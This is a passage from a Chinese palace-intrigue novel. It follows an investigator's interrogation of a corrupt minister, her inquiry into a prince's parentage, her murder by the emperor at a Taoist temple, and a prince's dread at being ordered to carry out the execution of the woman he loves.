“陛下,泊舟也没办法!”陈昀说,“潼裕那地方前有狼后有虎,泊舟也是不想让陛下对他失望……陛下,您就看在泊舟去年打了场大胜仗的份上,一定不要迁怒于泊舟啊!”
皇帝压着火:“你还有知道什么?”
“臣妾久居深宫,知道的,全都告诉了陛下。”陈昀战战兢兢地说。
乔竹心抬眸看陈昀,余光注意到吴泪,她也是一脸疑惑。
这就完了?陈昀说的话简直漏洞百出。
皇帝大骂:“蠢货。你,泊舟,两个蠢货。”
陈昀爬向皇帝,抓住他的脚踝:“陛下!您说过不要泊舟的命,陛下——求您了!”
皇帝闭上了眼睛,失望地说:“朕会好好查。赵鹤、泊舟都做了什么,朕的人都会查清楚。泊舟他如果真做了不该做的,朕这一回,绝不可能包庇。”
皇帝站起来,陈昀拉着他不让他走,陈昀说:“陛下!一言既出驷马难追,你不能食言!”
“朕会好好考量。”皇帝叹息,伸手推开了陈昀。
乔竹心扯一把吴泪的衣袖,她们跟着皇帝一起离开了冷宫。皇帝站在冷宫门口,回眸往陈昀所处的屋子,缓了很久才问乔竹心:“你觉得如何?”
“陛下,废后所言,七分真、三分假。”乔竹心实话实说
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,“赵鹤究竟是不是‘上位’,臣不清楚。玉佩、鸣沙商行应该真,废后从未插手潼裕事宜……应该假。臣以为,应即刻查抄赵府、调查鸣沙商行。”
皇帝:“准。”
“臣还有一事,是否审问屹王妃赵照?”
虽然陈昀的证词把赵照摘得挺干净的,但他们都清楚,赵照作为萧回与赵鹤联系的纽带,绝对不可能什么都不知道。赵鹤在潼裕做了那么多见不得人的事,不就为了让他的独女一步步地成为太子妃、皇后、甚至是太后吗?
赵照,审还是不审,取决于皇帝的态度。
如果皇帝要一查到底,做好了对萧回下手的准备,不光赵照要审,萧回本人也要审。可皇帝刚刚答应了陈昀,会保她一双儿女的性命,所以……
“不必审了。”皇帝低声说。
乔竹心与吴泪顿时明白——皇帝依然要袒护萧回。
—
晦院大牢中,赵鹤端坐在审讯室,乔竹心、吴泪、连云栈三人一起审问。
乔竹心拿出那块玉佩:“认得吗?”
“这是我赠予废后的。”赵鹤大大方方承认。
乔竹心:“她揭发你,说——你就是‘上位’。”
赵鹤敛眸:“她都告诉你们了?”
“你很平静。”吴泪说,“你早就知道她会揭发你?”
赵鹤闻声看向吴泪,昏黄的烛光映在他炯炯如炬的眼眸,竟掩盖了一大部分光芒。赵鹤凝视吴泪,瘦削的脸上露出一片巨大的笑,离远了看,像一具阴森森的骷髅。
“对。人人都会过河拆桥。”
乔竹心歪头打量他:“你帮她过了哪条河?”
“彼时陛下还未登基,她还是陛下的侧妃,二殿下才六岁。她就找到我,要给二殿下和我的照儿结娃娃亲。我就照儿一个孩子,我当然希望她嫁个好人家,一辈子荣华富贵。我帮二殿下,也就是帮我的照儿。”
乔竹心又问:“我问你,你具体都帮了什么?”
赵鹤想了半天,一边说还一边掰手指数:“向陛下进言,送二殿下去潼裕历练;借章玉良、李纳等潼裕官员的手加赋税、扣赈灾;跟力剌交易,为屹王军换战马……至于其他的,我想不起来了。”
吴泪说:“我们抄出了二十万两白银、三十八处宅院、珠宝玉器若干……潼裕那几个跟你一比,还真是小巫见大巫啊。”
赵鹤愣了片刻,无奈地笑:“有那么多吗?”
“……”乔竹心问,“我们还冤枉你了?”
“我没想到有那么多。”赵鹤开玩笑似的。
乔竹心:“你要那么多钱干什么?”
“乔大人啊,这世上哪有人嫌钱多?”
“我朝与力剌未开互市,你走私盐马,可是抄家的大罪。”乔竹心说,“你已经是首辅了,你还有什么不满足?”
“我刚才说的很清楚,我希望照儿好。”
乔竹心:“可她有你这个父亲,有屹王做她的丈夫,她膝下有长孙,这一辈子都是荣华富贵。”
“不够。”赵鹤眉头上挑,“我的女儿,不能只做一个王妃。她应该做皇后,做太后,做太皇太后,让大燕以后的皇帝身上都有她的血脉!这是她的福气,也是我赵家的荣耀!”
49. 身世
他眼中的光芒很火热。
乔竹心说:“所以你为屹王招兵买马,助他掌兵权、立战功,对吗?”
赵鹤冷道:“可他是坨扶不上墙的烂泥。”
乔竹心沉默。
“我从未见过这样的蠢货。”赵鹤不屑地说,“他是个遇事只会用蛮力的匹夫,畏畏缩缩,浑然没有个男人样。”
“何出此言?”
赵鹤泄了口气,反问:“如果他不是个废物,我何至于坐在此处?”
乔竹心冷眼瞪着他。
“我所作所为,不都是为了他,为了稳固他的兵权?可他每年向鸣沙商行买马,他都按照实际需要去买,鸣沙商行贩来的马,年年都有剩,年年都要顺着盐马道散入潼裕的市井!”赵鹤摊手,“你不信,你就去查屹王军跟鸣沙商行的账!”
乔竹心冷笑:“我当然查过了,你们做的很漂亮。”
“漂亮?这词儿不对,事实就是如此。”赵鹤不甘心地问,“乔大人,你说他是笨还是蠢?为何不多买一点?无论是前朝、今人,王公贵族哪个不养点亲兵死士?已经偷偷摸摸地买马了,结果却是自掏腰包补官家的破墙。”
乔竹心反问:“或许这就是殿下的后手。”
“啊……”赵鹤恍然大悟,“他信不过我,对吗?”
乔竹心别开目光,不跟他对视。
赵鹤拍自己的脸蛋子:“我热脸贴人家冷屁股?”
乔竹心嗤笑。
“我为了他的屹王军,我把全家族的命都栓我自己裤腰带上!都这样了,他还不信我?”赵鹤眉毛拧成了麻绳,“他为什么不信我?啊?!我就照儿一个女儿!我就她一个孩子,她就是我的命根子,你们知不知道?!”
赵鹤一边说一边要站起来,胳膊磕得椅子“铛铛”响。
连云栈咳嗽一声,大声呵斥:“安静点!”
“狼心狗肺……”赵鹤咬牙切齿地说,“他,他娘,一家子养不熟的。”
吴泪问:“你违律走私、通敌,二殿下疯了吗,要跟你沆瀣一气?”
“他要是有我半分魄力,他如今就不是什么二殿下,而是太子,是皇帝!”
“疯了!”乔竹心大喝道。
赵鹤抬起手,指自己的心口:“你们能知道我有多难过吗?我去了地下,我怎么见祖宗?我全家都让一个两个外姓人给毁了!陈昀、萧回——拿人心当驴肝肺,都得跟我下地狱!”
乔竹心换了一张新纸,继续问:“易咏、灵晔,记得吗?”
赵鹤抓耳挠腮地想了半天:“不记得。”
“你应该去磬音楼唱戏。”乔竹心从证据中拿出两张画像,“这个是易咏,这个是灵晔。她们是去年晦朔司擢选大考的考生,都死在了最后那场加试里。”
赵鹤一拍脑门:“想起来了!就陛下让三个女人杀两只豹子,我想起来!”
乔竹心:“这两张画像,是从你后院的芍药田里挖出来的,跟鸣沙商行的账本一块搜出来的。你却说你不认得她们?”
赵鹤眯起眼:“大人您举高点,让我再看清些。”
乔竹心把画像给吴泪,吴泪把它端到赵鹤面前。
赵鹤斜看许久:“说实话,您刚才说这两人的名字,我真没想起来。——我脑子里每天要过很多名字的,怎么会去记两个籍籍无名的女子?但您说那场加试,我就想起来,确有这两个人。”
乔竹心问:“她们是你派去擢选大考的吗?”
“我每年都往擢选大考里塞人。”赵鹤说,“就是今年运气好,选的两个人都进了武试。结果从天而降一场加试,白忙活了。”
乔竹心问:“她们是你的人,对吗?”
赵鹤笑了:“对。”
乔竹心:“她们为何会成为你的人?”
“我会派人在京城流民中挑选聪明孩子,教他们读书、习武,再选出一两个争气的,送擢选大考。”赵鹤望着乔竹心,“大人,朝中谁不想晦朔司里有自己的人呢?”
乔竹心问:“晦朔司中还有谁是你的人?”
赵鹤轻飘飘地说:“都死了。”
乔竹心:“你的学堂在哪?”
“京畿刘家峪。”
“好。”乔竹心瞪了吴泪一眼,意思是让她找到赵鹤的学堂,再把学生的名册翻出来,对比晦朔司的人员名册,确定赵鹤所说属实。
“今日就审到这里,”乔竹心把各种证据摞在一起,“赵鸣皋,你好自为之。”
—
小巷干干净净的,矮墙上爬满了枯萎的爬山虎,不远处传来读书声,吴泪深吸一口气,闻见了炖白菜的香味。
这就是刘家峪学堂,赵鹤收留流民的地方。
学堂的门敞开着,吴泪提起裙摆走进去,她脚步放得很慢,怕惊扰了读书声。她绕过影壁,看见孩子们在学堂里读书,有大有小,有男有女。
“姑娘为何来此?”说话的正是学堂的管事,赵伯。
吴泪从袖中取出晦朔司令牌给他看。
“大人。”赵伯准备跪下行礼,吴泪却一把给他搀了起来。
“不必。”吴泪把令牌塞回袖中,回眸看一眼学堂内,“赵鹤入狱,交代了刘家峪学堂的事。司丞差我来此盘查,还请您行个方便。”
赵伯愣了片刻,才点头道:“您查,您查……”
吴泪问:“学堂自成立以来的学员名册在何处?”
“您随我来。”赵伯用衣服擦拭手上的汗,朝学堂后面的方向伸手,“您这边请。”
吴泪随他绕过学堂,来到一处矮小的柴房。吴泪停在门外,站在阳光里,没有随他进柴房。赵伯知道她是防着自己,便自己进去,搬开角落里的柴火,打开地道的入口。
赵伯步履蹒跚地离开柴房,把钥匙递给了吴泪。
“长的这把就是密室的钥匙。”赵伯作揖,“大人自便,老奴告退。”
吴泪接过钥匙,没想到就这么顺利。她目送赵伯离开,直到他走远,听不见他的脚步声,吴泪才迈进柴房。她抬头看房梁,的确没有人,也抽出剑防身。
她回身望门口,仍然不放心。这里都是柴火,如果这帮人想杀自己,完全可以在自己下地道后把门钉死,一把火烧了柴房。
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今天就自己来的学堂,不可轻易下地道。
她从袖中取出一块蜡烛,点燃后把蜡油滴在地上,再把钥匙浸在蜡油中,冬天冷,蜡油很快再次凝固,她把钥匙拔出来,蜡油中间也拓下了钥匙的纹路。
她清理好地面,转眸凝视地道口许久,最终离开了柴房。
她悄悄地离开柴房,绕到了学堂的另一面。
“大学之道,在明明德,在亲民,在止于至善……”
吴泪听着孩子们的背书声,思绪飘得很远。
赵伯能不知道赵家倒台的事?学堂还照常开着,每日的花销谁来维持?刚才他打开地道口,等着让自己进去查所谓的名册?要不就是陷阱,等自己跳下去再杀了自己,要不就是他知道名册没问题,任自己怎么查都不会查出来毛病。
“大人?”
赵伯一嗓子把她拉回了现实。
吴泪心里慌了一下,转眸看向他的时候,面上依旧是心平气和。
“您查完了?”赵伯问。
吴泪点头,把钥匙递了回去。
“那学堂就不留大人吃饭了。”赵伯作揖。
这是逐客令,吴泪蹙眉颔首,便离开了学堂。当她策马回到宅中,却发现乔竹心正好在正厅等她。
“老师。”吴泪她行礼。
乔竹心:“顺利吗?”
“太顺利了。”吴泪把拓有名册室的蜡烛给乔竹心,“管事的说,名册都在小柴房下面的密室中,这便是密室的钥匙。今天我没进密室,我怕出事。”
“做得对。”乔竹心把蜡块收入怀中。
“老师,我觉得学堂很怪。”吴泪说,“赵鹤怎么会那么好心,出钱、出人为一群流民办学堂呢?”
乔竹心摇头:“我亦百思不得解。赵鹤的话二分真八分假,他故意提起学堂,就怕是留给我们的陷阱。”
“大殿下那边有消息吗?”吴泪说,“文亭落在了他手上。”
“自兰见春落狱之后,大殿下一直闭门不出。”乔竹心叹息一声,“倒是昨天晚上,磬音楼唱了一出‘狸猫换太子’。”
吴泪环顾四周:“磬音楼常唱才子佳人,怎么昨晚闹了这么一出?”
“不光如此,情节还改了不少。”乔竹心抿一口茶,“原本,是刘妃为争后位,用狸猫换掉了李妃的孩子,致使李妃蒙冤。而在昨晚那出戏中,李妃的孩子却是与宰相私通所得,刘妃为保皇家血脉纯净,想出一招‘狸猫换太子’。”
吴泪眼珠一转:“老师的意思是……”
乔竹心笃定道:“大殿下在提醒我们,屹王的身世有问题。”
“学堂恐怕就是个幌子。废后揭发赵鹤,赵鹤又揽下所有罪责,都是断尾求生。”吴泪细思极恐,“怪不得……”
乔竹心说:“我已经偷偷去信给汪琢,托他调出妃嫔侍寝和二殿下降生时的记录。明日,你带上朔院的人,再查刘家峪学堂,把动静闹大。”
吴泪点头:“属下明白。”
“二殿下的身世,由我来查。”乔竹心屏气凝神,“在此期间,赵鹤的审问、定罪,接照常进行。”
50. 大火
三日后,乔竹心家中,有人叩门。是汪琢的人,为乔府送来了春日礼。但乔竹心知道,这“春日礼”中,有她想要的东西。
她让人把东西停在了库房,凌晨,才提灯来此。
她把灯放在了珍宝架上,把剑插进木箱的缝隙,撬开了盖子,露出满满一箱的金银珠宝。她把它们一把一把地抓出来,露出掩藏在下面的小木箱。她把小箱子搬到灯下,打开,果然是摆放整齐的记录册。
她先从潜邸侍寝记录开始,指头逐渐拂过发黄的纸张。
陈昀十五岁入潜邸,入府即盛宠,除了每个月的癸水日,旧时皇帝几乎日日都宿在她房中。但陈昀与其他女子不同,她的癸水一来就是十天。
这十天中,皇帝大部分时间在自己书房,偶尔去见一见先皇后景怡与王府中其他侍妾。乔竹心快速地翻看记录,直到这一年结束,都是如此。
陈昀入府后半年,查出有孕。八个月后,陈昀受惊早产。太医院记录说,是在她乘轿撵时,轿夫滑了一跤所致。
胎儿未足月,还未入盆。幸好有稳婆王氏,及时调转头位,陈昀这才生下了萧回。
“稳婆……”乔竹心暗自记下了这个女人。
她继续往后看,三年后,陈昀再度有孕,这一回,她是“足月”生产的。太医院记录上写,为保胎,胎儿四个月大的时候,陈昀才肯告诉皇帝。而且,陈昀从家中带来了大夫,不让太医院插手半分。
结果在陈昀临盆之际,不顾府中众人劝阻,亲自上白云观为孩子祈福,理由是“求神保佑平安生产”。
乔竹心只觉得奇怪,陈昀已经有生萧回的前车之鉴,为何第二胎,还非要去观里祈福呢?
果不其然,陈昀上山那日,山中雷雨,把这一行人截在了观中。更巧的是,陈昀在观中产下昌宁公主。
乔竹心缓缓合上记录册,萧回、萧锦……陈昀这两个孩子身上都有疑团。
乔竹心把记录册藏好,慌慌张张地提灯离开了库房。
她感觉这些记录有在刻意隐瞒着什么。萧回是早产儿,按理说,身体羸弱,结果太医院没有为他诊治的记录。反观萧锦,明明是足月生产的孩子,生下竟“瘦小如猫”,隔三差五就会生病,最多的一个月,传了十八次太医。
乔竹心换上夜行衣,她往白云观去。
山中黑洞洞的,她每上一步,天就亮一分,直到她爬到尽头,太阳跃出了天际,绯红的朝阳落在她脸上,嵌进她眼角的皱纹中。
她站在白云观的门口良久,凝视门上龟裂的朱漆,她皱紧了眉头。观外的枯柳随风摇晃,一只喜鹊一直绕树,不知何枝可依。
她不知道这样做对不对。
自己这是在怀疑皇家血脉吗?
如果让皇帝知道自己的所作所为,他还会容下自己吗?
赵家已经倒了,赵鹤横竖都是死,自己这样不依不饶地查,是不是把自己往黄泉路上送?
乔竹心开始后退,她感觉自己在步前任司丞吴蕤的后尘。
“吱嘎”一声,白云观的门打开了。一个老道士站在门口,背过手,打量她。
乔竹心敛眸,正准备告辞,老道士叫住了她。
“你心里有疑,为何不进来问个明白?”老道士说。
乔竹心回身,此时观中的吕祖殿也开了门,朝阳的金光恰好映亮半边大殿。老道士居高而站,身后便是垂眸俯视人间的神像,乔竹心只觉自己太渺小了,整个人、整个灵魂都被看透了。
“铛……铛……铛……”
观中的钟声阵阵,惊起了山中的鸟与猿猱。乔竹心心虚地垂下了头,她感觉,再迟一会,她过去做的那些错事,都会被神明看透。
“我……”乔竹心迟疑片刻,她感觉有无数双眼睛盯着自己,就不敢再说假话了。
老道士等着她。
乔竹心咽了口唾沫:“我想来问,二十年前,是否有一个贵妇人,在观中产下一个女婴?”
“她产下了一对双生胎。”老道士说,“她只留下了一个,另一个……让一个女人带走了。”
乔竹心急切道:“您可知,那女人是谁?”
老道士:“是——”
他话还没说完,一支箭从乔竹心身后飞出,刺穿了他的喉咙。老道士瞪大了双眼,向后栽去。血溅了乔竹心一脸,流进她的眼眶,晕红了她的眼白。
乔竹心颤抖着回身,见到了一个让她意想不到的人。她瘫倒在地,像被人抽干了血肉一样。
“乔卿,朕给过你机会。”皇帝缓缓放下弓,冷眼盯着乔竹心。
乔竹心看见跟在他身后的汪琢,终于失望地笑了出来。
“怪不得那些记录册都是问题。”乔竹心抬手擦脸上的血,可不知为何,血就是擦不净,反倒越抹越脏,她泄了口气,手腕搭在双膝上,止不住地叹息。
皇帝反问:“晦朔司怎么还操心起朕的家务事了?”
“事关皇室血脉,不止是陛下的家务事。”
“你还是要步吴蕤的后尘吗?”皇帝说,“明明整个晦朔司的命都在朕手里捏着,你们怎么还敢插手储位之争?”
乔竹心捏捏肿胀的眼窝,她却问:“陛下,您今日,不会放臣走了,对不对?”
皇帝却问:“萧荫槐到底给了你什么好处?竟然能让朕的大司丞为他卖命,朕不明白,竹心,朕自问待你不薄。”
“是,臣明白,若无陛下,便无今日的乔竹心。”乔竹心抬头望着皇帝,“陛下的恩,臣始终念着,断不敢忘。”
皇帝转头看向山林:“朕最恨背叛。”
“臣不想一错再错。”乔竹心顺着他的目光向远看去,“陛下,您也变了。”
皇帝不解:“朕哪里变了,朕何时变过?”
“我不愿做不辨是非的人的刀。”乔竹心不再称“臣”,她跟皇帝,今日算是走到了尽头,“这些年,我为你做了太多不忠不义之事。如今,我受够了。”
皇帝问:“你忘了你答应了朕什么。”
“那时候什么都不明白,就因为您送我进晦朔司,便为您马首是瞻。你说嘉泽废太子戕害人命不堪为君,我信了,我与老师反目成仇。你说你要争皇位,我便为了你,杀了已经投靠嘉泽的老师。老师临终前告诉我,陛下您,才是不堪为君的那个。”
皇帝冷声道:“朕很后悔送你进晦朔司。”
“我为你卖命一辈子都不曾后悔。”乔竹心失望地说,“我看明白了,您的所作所为,是不是因为,二殿下像极了过去的您?您帮他,袒护他,是为了帮旧时的自己。您恨大殿下,是不是觉得他大义凛然的样子,是在嘲讽自己,德不配位?”
皇帝大喝一声:“
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住口!”
乔竹心:“二殿下懦弱、薄情、心中更无万民百姓,您选他,就是自毁江山。”
“自以为是。”皇帝讽刺地说,“朕何时说过,要他为太子?”
乔竹心摇了摇头:“好。”
皇帝:“萧回就是朕的骨血,朕清楚得很,你不要白费力气。但你生出二心,朕便再也容不得你。”
乔竹心遗憾地说:“好。”
她直视皇帝的眼睛,过去,她从未如此端详过她的主人。
乔竹心原本是皇帝身边的侍女,自幼与皇帝一起长大,皇帝培养她,只为把她送进晦朔司。
乔竹心当然不负众望,摘得擢选大考第一名,进入晦朔司,成为第一任司丞吴蕤的副手。皇帝借她的手,除掉了吴蕤,又除掉了晦朔司中所有嘉泽废太子的势力。如愿以偿成为了太子,登上了皇位。
乔竹心原本认为,皇帝的所作所为,都是对的。直到她遇见吴蕤,那个嫉恶如仇、雷厉风行的女人。她一面因为皇帝而憎恨吴蕤,一面又因为她的教诲与言传身教,成为了如吴蕤一样的晦朔司司丞。
“多年来,我做您手中的刀,为每一个入晦朔司的人端上您特质的毒药,您想要谁的命,我都会让他悄无声息地消失在这世上,我一直在做违背良心的事。”乔竹心喘了口气,“直到兰见春上殿鸣冤那日,我才彻底认清了您。”
皇帝不爽地问:“朕怎么了?”
“您为何变成了皇位的奴才?”乔竹心说,“陛下,您不要一错再错了。”
皇帝一个箭步冲上,把乔竹心从地上拎了起来:“朕错在哪了?你说,朕错在哪了?!”
乔竹心与他近在咫尺:“陛下,难道您以为,臣帮的是大殿下吗?”
皇帝大声问:“朕做错在了?!你说!回答朕!”
乔竹心:“血淋淋的证据摆在您面前,却还要把无辜的人步步逼上绝路。我不愿为这样的人卖命,我受够了。”
“你同朕一样伪善,”皇帝冷笑,“吴蕤的孩子被你视若珍宝,若吴泪知道,害死她娘的人,就是你这个好司丞,她会不会一刀砍了你?”
“你去告发我啊!我早受够了!这种亏心的日子,我早就受够了……”乔竹心哭道,“皇帝,从始至终,错的不是二殿下,不是大殿下,更不是那个为了自己亲人而生而死的兰见春,是你,是你啊!”
皇帝双手抓紧了她的脖子,发了疯似的要掐死她。
“别一错再错了……不要做……昏聩之君……”这是乔竹心的最后一句话。
“去死。去死。去死。”
“去死!去死!去死!”
扑通一声,女人像断了线的风筝,倒在地上。
皇帝大汗淋漓,双手颤抖着往后退。
不知何时,白云观门口站了一群道士,他们站在神像前,审视着皇帝。
山中静得只剩鸟鸣、溪水声、皇帝的呼吸声。
皇帝盯着那群道士,目光缓缓地向上移动,最终与殿内的神像对视,檀香散发出的烟慢慢上升,笼罩住神的半边脸。
皇帝步步后退,他怅惘地长叹息,只觉得有股气堵在了胸腔,他捂住胸口,直接吐出了一大口鲜血。
“陛下!”汪琢冲上来,从后抱住了皇帝。
“终期……终期……”皇帝绝望地喃喃道。
51. 行刑
晦朔司朔院的官署外,连云栈带人将这里围得水泄不通。
吴泪与朔院甲处剩下的人正在把暗中查到的有关于岷、屹二王的情报都扔进火盆。
“吴泪,”连云栈抬高了声音,“你犯了咱晦朔司的规矩,以前还有乔竹心护着你,现在,本官看还有谁能护着你。”
一个女官有些急:“同知……”
“甭理她。”吴泪往火盆里扔一摞文件,这些都是她这么长时间费尽心思查到的,如今为了保命,都要付之一炬。
连云栈的声音越来越大:“吴泪,别挣扎了。你和乔竹心做的事,陛下都知道的一清二楚,革职,也是陛下的意思。”
吴泪用火筷子快速扒拉火盆。甲处的其他女官还焦急地看向门口,窗上已经映出了连云栈的模样。
虞水、兰见春……现在,乔竹心也死于白云观大火,所有掺和进潼裕案件的人都死于非命,现在晦朔司只剩下自己一个人,而连云栈守在她门边,就等她露头,再一刀砍下她的头颅。
她身后还有甲处的几个亲信,为了让她们的安危,关于萧回的一切,都不能再坚持下去了。
“砰——砰——砰——”
连云栈在撞门。
木门不堪其重,门闩马上就要被她撞开。吴泪抓起桌上的茶壶,一瓶子浇在了火盆上。“刺啦”一声,火灭了,之后“咚”的一声巨响,连云栈带着人闯进了房间。
“何白,”连云栈吩咐身后的晦院甲处千户,“搜。”
何白却说:“同知,陛下旨意,仅是革除吴泪的官职,并未要我们搜朔院甲处,这不合规矩。”
连云栈反问:“哪来这么多话?”
何白:“司丞刚刚去世,晦朔司的一举一动都在前朝百官眼中。同知,不可。”
连云栈侧眼盯着何白,沉默良久。
吴泪看见她的手摁在腰间的刀上,说时迟那时快,就在连云栈拔刀的前一刻,吴泪说:“搜吧,搜吧。”
连云栈摁回了刀。走到吴泪面前,说:“陛下知道了你跟乔竹心在查什么,乔竹心的死,你觉得能是意外吗?”
吴泪咬着牙说:“不是。”
“陛下最恨背叛。”连云栈说,“而你、乔竹心,都背叛了他。”
吴泪:“你没有吗?”
连云栈:“我怕死。”
“这世上总有东西比生死更重要。”吴泪抬起猩红的眼眸注视连云栈,“我没有背叛老师,老师也没有背叛陛下。我们做的一切都是为了江山百姓……”
“停。”连云栈打断她,“别在我面前演高风亮节。你,你娘,你老师,都犯了同一个错误,你知道是什么吗?”
吴泪别开眼,不想听。
连云栈说:“自以为是。”
吴泪怒视连云栈。
连云栈:“自晦朔司成立之初,本官就在这里。时至今日已经过去了二十二年,身边来来往往那么多人,本官就明白一个道理。”
吴泪沉默。
连云栈:“晦朔司就是皇帝的刀而已,刀只需好用、认主,不需要有脑子。”
吴泪眼圈红红的。
连云栈说:“拎不清,那就是自取灭亡。”
吴泪失望地叹息。
连云栈:“什么公道、天理,都是前朝那帮人的事,我们晦朔司,听话就够了。你还想要怎样?没有家世没有靠山,你还能掀起风浪?别做梦了。”
吴泪盯着她:“晦朔司就是让你这种人搞得乌烟瘴气。”
“人得知道自己是谁,”连云栈拍拍她的肩膀,“来生啊,当牛做马都别做人。”
吴泪低下头,攥紧了拳头。连云栈得意洋洋的模样让她不爽,更让她难受的,是她说的话。
“祝我高升吧,”连云栈说,“吴泪。”
—
“据说,白云观大火,乔司丞恰好在那祈福……没逃出来。”
“你信吗?”萧沃转眸看向景思娴,目光很冷,“除了陛下自己,谁会信,这是场意外?”
景思娴望着王府大院中那颗槐树,小声说:“没人会信,但没人敢不信。”
“我就不该排那出戏。”萧沃冷笑,“乔司丞什么都查到了吧,所以才会被皇帝截杀。白云观……昌宁出生的地方。你说,乔司丞查到了什么,才惹得陛下——迫不及待地要取她性命?”
景思娴别开了目光:“我不知……”
“晦朔司没了乔司丞,没了吴泪,没了兰见春,什么都没了。”萧沃抬眼望槐树,“再过三天,赵家也该满门抄斩了。思娴,我赢了,什么都没剩地……赢了。”
“殿下还有景家。”景思娴安慰他,“不算输。”
“下一个就是景家。”萧沃眼里没了光。转身向门外走去,他走得很慢,像一具行尸走肉。
景思娴走上前来:“殿下,你去哪?”
“我累了。”萧沃连头都不回,一直向府外走去。
他的心乱得像一团麻,一路都低着头,随便自己去哪,他不知疲倦地从白天走到了晚上,最终到了京畿的孝仁皇后的陵寝。
母后没有被葬在皇陵。
而是孤零零地埋在了京畿的荒山中,离皇陵很远很远。其实这样也好,皇帝不愿意见到母后,母后也不愿见到皇帝,这样对谁都好。
景怡的坟冢在一处僻静的院子里,没有墓碑。坟上种了一颗槐树,如今已然亭亭如盖。景怡的坟旁边便是泠妹的坟冢,泠妹喜欢牡丹,萧沃便在她的冢前种了一大片牡丹,红艳艳的,跟他的妹妹一样可爱。
萧沃提了一篮纸钱来,他在纸上写了“晦朔司司丞乔竹心收”,在景怡的坟前点燃了一张、又一张。
火光映亮他的脸,火舌拂过他的腮边,将他的泪化为水汽。萧沃瘫坐在地上,愧疚得牙都快咬碎了。
萧沃不停地往火盆里扔纸钱,看那些纸变成旺火,最后变成一摊纸灰,他心里的不甘就越发汹涌。
他没想到乔竹心会因此而死。
他写那出狸猫换太子,告诉了吴泪她们萧回的身世有疑,但他没想到乔竹心动作快到这几天中就挖出来了真相。
萧沃抱住了脑袋,他太蠢了。
一出狸猫换太子在京城闹得沸沸扬扬,自然也会传到皇帝耳朵里。原本只是用来离间皇帝与陈昀的东西,却成了乔竹心的催命符。解救自己离开宗正寺的恩人,如今却因为自己而死……
萧沃双臂环住膝盖,郁闷地把脑袋藏进臂弯里,像一只蜷起来的刺猬。
他睡着了,想就在这躲着,藏在母亲的坟边,直到天荒地老。
—
不知过了多久,有人推醒了他。
“岷王殿下?岷王殿下?”汪琢弯腰拍萧沃的肩膀。
萧沃再睁眼时,已经是第二天的清晨。
“您怎么在这睡着了?倒春寒,别着了病。”汪琢心疼地说,“过会奴才就让太医过来给您瞧瞧病,开些驱寒的汤药。”
萧沃抹抹乱七八糟的脸,懵懵地看着这位不速之客:“您怎么来了?”
汪琢立马严肃起来,从袖中取出皇帝手谕,念道:“晦朔司兰见春以下犯上,当处以极刑。朕念其身世凄惨,保其全尸,三日后赐鸩酒,由岷王萧沃行刑。”
这消息犹如一道晴天霹雳,霎时劈醒了萧沃这个梦中人。
萧沃支起身子,难以置信地望着汪琢:“您是说,要我——去亲手……杀了她吗?”
汪琢把手谕递给萧沃:“这都是陛下的旨意。”
“要我——去杀了她吗?!”萧沃双手抓住汪琢的脚踝,恳切道,“汪公公,我求您了,您替我劝劝父皇,我不要……我不要……”
“大殿下!您这不是折煞奴才吗?!”汪琢吓得脸更白了,赶紧把他搀起来,可萧沃力气太大了,汪琢奈何不了他。
“为什么!”萧沃趴在地上,声嘶力竭,“为什么!”
汪琢怕道:“这都是陛下的旨意呀!殿下,老奴怎么劝得了!”
“为什么要让我……”萧沃抬起头,血红血红的眼睛盯着那可憎的旨意,愤懑地说,“您明明知道,她是……她是我——”
萧沃的舌头像打了结,四肢百骸都开始疼,尤其背上的箭伤,钻心地疼。
她是我爱的人啊。
为何要我亲手杀了她?为何要我亲手看自己喜欢的人去死?为何一定要毁掉我这条烂命里唯一美好的东西?
“父皇啊,父皇,求您放过我吧……”萧沃冲那份手谕不停地磕头,磕得头破血流,磕得脑袋嗡嗡,“放过我放过我放过我……”
“殿下!”汪琢也跪下来,把手谕塞到了萧沃手中,低声地叮嘱他,“旨意一下,木已成舟。殿下,无论您怎么求,都是一个结果。千万别失了身份。”
“我什么身份?汪公公,我什么都没了。”萧沃咬牙切齿地说,“父皇要我去杀她,倒不如直接杀了我来得痛快。”
“殿下,你傻啊!”汪琢扶着他肩膀,“如今二殿下、赵家都倒了,皇储之位于您而言,如探囊取物。若您再与陛下作对,那便是把到手的储位扔出去了!”
萧沃求饶道:“我真的下不去手……”
汪琢:“殿下,别让陛下对您失望。”
萧沃僵在那。
“这是陛下的意思。”汪琢苦口婆心道,“今天奴才说的话,
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都是陛下要奴才告诉殿下的。”
萧沃口型说:“不要……”
“您想想孝仁皇后,想想靖国公。”汪琢小声说,“您说不要,对得起他们吗?”
萧沃垂下头,他的心不停地往下滴血。
汪琢说:“陛下对您寄予厚望。”
萧沃攥着那份手谕,头重重地砸下去,血浸透了鹅卵石,沾了汪琢一身。他又直起身,又往下磕头。
“哎呦,殿下!”汪琢扶起他,“您这不是赌气吗?”
汪琢给左右使眼色,示意将萧沃抬到屋里去。萧沃也放弃了挣扎,被他们像死狗一样拖来拖去。
他恨自己为何没死在宗正寺。
—
春分日,天牢内,兰见春已经沐浴更衣完,盘坐在稻草上,等待着死亡到来的时刻。
昨天,她听了一整天的哭声。狱卒说,那是赵家人的哭声。赵鹤犯下滔天罪行,腰斩处死;赵家十五岁以上的男丁处斩,其余男子与女眷全部流放岭南。
昨天是赵鹤的死期,今夜过后,便是自己的死期。
兰见春抬眼望着灰蒙蒙的月光,心却异常的平静。没有遗憾,没有不甘,没有大仇得报的快||感,恰恰相反,她心里空落落的。
身后响起拖沓的脚步声,她闻声回头,看见萧沃身后跟着两个刑部的官,还有一个端了一只托盘,盘中只有一杯酒。
兰见春的心紧张得快速跳动,她没想到这一刻到的这么快,也没想到来送她走的是萧沃。她站起来,却失魂落魄的。
萧沃穿了一身白衣,又是为谁带孝呢?
一个人上来把牢门锁打开。萧沃冷道:“把酒给我,你们都退下吧。”
那两个官员面面相觑。
“你们觉得本王会抗旨吗?”萧沃侧眼盯着他们,“还要在这看着吗?”
那两人连忙说:“臣等告退。”
萧沃杵在原地,待他们走远后,才慢慢地挪到了兰见春的牢门前。他与兰见春遥相望,无语凝噎。
萧沃一低头,眼眶里的泪水洒在了衣襟上,右手的毒酒杯中,还有左手的食盒上。
兰见春抿抿干燥的嘴唇:“殿下。”
女人温柔的声音划破了死一样的静,萧沃深吸一口气,昂起头试图让眼泪倒流。他故作轻松地舒了口气,扯出一个苦笑来。
兰见春也冲他笑,说:“我好幸运,还能再见到殿下。”
